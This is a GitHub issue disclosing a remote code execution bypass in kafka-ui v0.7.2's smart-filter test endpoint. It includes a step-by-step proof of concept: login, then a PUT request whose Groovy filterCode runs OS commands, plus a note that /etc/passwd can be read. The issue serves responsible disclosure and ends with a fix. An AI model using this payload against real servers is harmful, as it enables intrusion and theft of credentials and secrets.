#4567·kafka-ui

Groovy guard bypass RCE in executeSmartFilterTest (v0.7.2)

Author: geo-chenCreated Jul 1, 2026Updated Jul 1, 2026
Labelstype/bugstatus/triage

Issue submitter TODO list

  • I've looked up my issue in FAQ
  • I've searched for an already existing issues here
  • I've tried running master-labeled docker image and the issue still persists there
  • I'm running a supported version of the application which is listed here

Describe the bug (actual behavior)

reported via email on 25 May 2026 and 15 June 2026 - no response.

I am reporting a security vulnerability in kafka-ui affecting the latest release v0.7.2. The vulnerability allows any authenticated user to execute arbitrary operating system commands on the server, bypassing the filtering.groovy.enabled security control that was introduced to prevent Groovy-based code execution.

Summary

The PUT /api/smartfilters/testexecutions endpoint executes arbitrary Groovy scripts without checking the filtering.groovy.enabled property. When an administrator sets filtering.groovy.enabled=false (the default) to disable Groovy script execution, the restriction only applies to the message filtering endpoint (GET /api/clusters/.../messages). The testexecutions endpoint is not guarded by this check and will execute any Groovy script regardless of the setting. This allows any authenticated user to achieve remote code execution on the server.

Technical Details

The vulnerability is in MessagesController.java. The executeSmartFilterTest method (line 75) does not call checkIfFilteringGroovyEnabled(), while getTopicMessages does. The method passes the attacker-supplied filterCode directly to MessageFilters.createMsgFilter() with type GROOVY_SCRIPT, which compiles and evaluates it using GroovyScriptEngineImpl.

Relevant source locations: kafka-ui-api/src/main/java/com/provectus/kafka/ui/controller/MessagesController.java, line 75 kafka-ui-api/src/main/java/com/provectus/kafka/ui/service/MessagesService.java, line 86 kafka-ui-api/src/main/java/com/provectus/kafka/ui/emitter/MessageFilters.java, line 41

Expected behavior

No response

Your installation details

Steps to reproduce

PoC

The following demonstrates the vulnerability on a kafka-ui instance with AUTH_TYPE=LOGIN_FORM and FILTERING_GROOVY_ENABLED=false (default):

Step 1: Log in to obtain a session cookie.

POST /auth HTTP/1.1 Host: target:8080 Content-Type: application/x-www-form-urlencoded

username=admin&password=admin_password

Step 2: Confirm that the guard blocks the normal message filter path (expected behavior).

GET /api/clusters/local/topics/test/messages?filterQueryType=GROOVY_SCRIPT&q=1%3D%3D1&seekType=BEGINNING HTTP/1.1 Host: target:8080 Cookie: SESSION=<session_cookie>

Response: {"message":"Groovy filters is not allowed..."}

Step 3: Bypass the guard and execute an OS command via the testexecutions endpoint.

PUT /api/smartfilters/testexecutions HTTP/1.1 Host: target:8080 Cookie: SESSION=<session_cookie> Content-Type: application/json

{"filterCode":"throw new Exception(["id"].execute().text)","key":"k","value":"v","timestampMs":1000}

Response: {"result":null,"error":"Execution error : java.lang.Exception: uid=100(kafkaui)..."}

The output of the id command is returned in the error field, confirming OS-level code execution. Any OS command can be substituted. File system reads such as new File("/etc/passwd").text also work.

Impact

Any authenticated user (no admin role required) can:

  • Execute arbitrary commands on the kafka-ui server
  • Read all files accessible to the kafka-ui process, including Kafka SSL certificates and secrets
  • Pivot to internal Kafka brokers, Schema Registry, and Kafka Connect services

This is distinct from CVE-2023-52251 (unauthenticated, different endpoint), CVE-2024-32030 (JMX deserialization), and CVE-2026-5562 (missing validateAccess on same endpoint). The specific impact here is that the filtering.groovy.enabled=false security control added in v0.7.2 is bypassed.

Affected Versions

All versions up to and including v0.7.2 (latest).

Suggested Fix

Add a call to dynamicConfigOperations.checkIfFilteringGroovyEnabled() at the beginning of the executeSmartFilterTest method in MessagesController.java, before delegating to MessagesService.execSmartFilterTest(). Additionally, consider adding validateAccess() with appropriate topic permissions to ensure RBAC policies are enforced.

Screenshots

No response

Logs

No response

Additional context

No response